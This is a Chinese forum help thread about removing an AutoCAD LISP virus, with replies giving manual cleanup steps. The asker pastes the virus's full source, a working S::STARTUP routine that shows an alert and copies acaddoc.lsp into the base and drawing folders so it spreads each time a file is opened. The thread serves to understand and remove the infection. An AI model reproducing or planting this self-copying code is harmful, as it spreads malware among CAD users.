[求助]除掉这个CAD病毒
<div>不知是哪天开始,CAD开始弹出“眼睛雪亮”,上网找处理方法,下载CAD专杀,也全盘扫描删除文件,最后没弹“眼睛雪亮”了,只剩下一个顽固份子,老弹“努力工作哦!!”怎么也删不掉,也杀不掉,很是烦人。</div><div> </div>
<div>一般情况下,新建CAD文件不会弹出,只要打开某个CAD文件就会弹出,完了之后在CAD所在文件夹自动生成一个“<font face="Verdana">acaddoc.lsp”文件,全盘删干净了,一开CAD文件就又来了,很是烦人。我打开这个文件看了看,也看不出个所以然来,想请各位大侠帮看看有没有办法处理,多谢!</font></div>
<div> </div>
<div>文件内容如下:</div>
<div> </div>
<div><font face="Verdana">(defun-q s::startup<br/> (/ basepath<br/> baseacad<br/> acaddocpath<br/> r-acaddoc<br/> w-basepath<br/> rl-acaddoc<br/> acaddoclsp<br/> c-acaddocname<br/> c-acaddocpath<br/> c-acaddoc<br/> )<br/> (setq basepath<br/> (findfile "base.dcl")<br/> )<br/> (setq basepath<br/> (substr basepath<br/> 1 (- (strlen basepath) 8)<br/> )<br/> )<br/> (setq baseacad (strcat basepath "acaddoc.lsp"))<br/> <br/> (setq acaddocpath<br/> (findfile "acaddoc.lsp")<br/> )<br/> (setq acaddocpath<br/> (substr acaddocpath<br/> 1 (- (strlen acaddocpath) 11)<br/> )<br/> )<br/> (setq acaddoclsp<br/> (strcat acaddocpath "acaddoc.lsp"))<br/> <br/> <br/> (setq c-acaddocname<br/> (getvar "dwgname")<br/> )<br/> (setq c-acaddocpath<br/> (findfile c-acaddocname)<br/> )<br/> (setq c-acaddocpath<br/> (substr c-acaddocpath<br/> 1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) <br/> )<br/> )<br/> (setq c-acaddoc<br/> (strcat c-acaddocpath "acaddoc.lsp")<br/> )<br/> (alert "努力工作哦!!")<br/> (if<br/> (and<br/> (/= basepath acaddocpath)<br/> (= c-acaddocpath acaddocpath)<br/> )<br/> (progn<br/> (setq r-acaddoc<br/> (open acaddoclsp "r")<br/> )<br/> (setq w-basepath<br/> (open baseacad "w")<br/> ) <br/> (while<br/> (setq rl-acaddoc<br/> (read-line r-acaddoc)<br/> )<br/> (write-line rl-acaddoc w-basepath)<br/> )<br/> (close w-basepath) <br/> (close r-acaddoc)<br/> <br/> )<br/> <br/> (progn<br/> (setq r-acaddoc<br/> (open acaddoclsp "r")<br/> )<br/> (setq w-basepath<br/> (open c-acaddoc "w")<br/> )<br/> (while<br/> (setq rl-acaddoc<br/> (read-line r-acaddoc)<br/> )<br/> (write-line rl-acaddoc w-basepath)<br/> )<br/> (close w-basepath) <br/> (close r-acaddoc)<br/> <br/> )<br/> )<br/> (princ)<br/>)</font></div>
<div><font face="Verdana"></font> </div>
<div><font face="Verdana">另附一个CAD文件样本如下。</div>
<div><br/></div></font> 没人感兴趣?试过多种CAD专杀都没用。 那就手工杀。
在未引导ACAD的情况下,用WINDOWS的查找功能,全盘查找ACADDOC.LSP。
将查出的文件全部删除就行了。 ZZXXQQ 发表于 2010-12-31 20:16 static/image/common/back.gif
那就手工杀。
在未引导ACAD的情况下,用WINDOWS的查找功能,全盘查找ACADDOC.LSP。
将查出的文件全部删除 ...
斑竹高见 我没遇到过这种情况 这种问题很烦人,我的电脑也这样 在命令行中输入以下语句:
(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))
回车后关闭AutoCAD,重新启动AutoCAD后你就会发现一切都正常了。
cad现在很多的病毒希望高手能解决 其实这种lisp病毒并不难去掉 因为源代码完全公开 只要在lisp里调试一遍,就可以知道病毒的运作原理了
通常采取全盘搜索删除都是不好用的 一般的病毒都会把代码写进*.lsp与*.mnl文件内,然后再复制一个acaddoc.lsp文件用来传播。一般把病毒代码找出来删干净以后将support目录设为只读就行了。绝大部分病毒都不改变原来文件的属性。因为这些文件都是cad启动后自动运行的
最笨的解决办法就是先关闭cad。全盘搜索acaddoc.lsp(前提是病毒没有更改隐藏文件的显示),然后将没有病毒的cad的support路径下(有两处)的文件全部拷贝过来。然后设为只读。一般就可以解决问题了
页:
[1]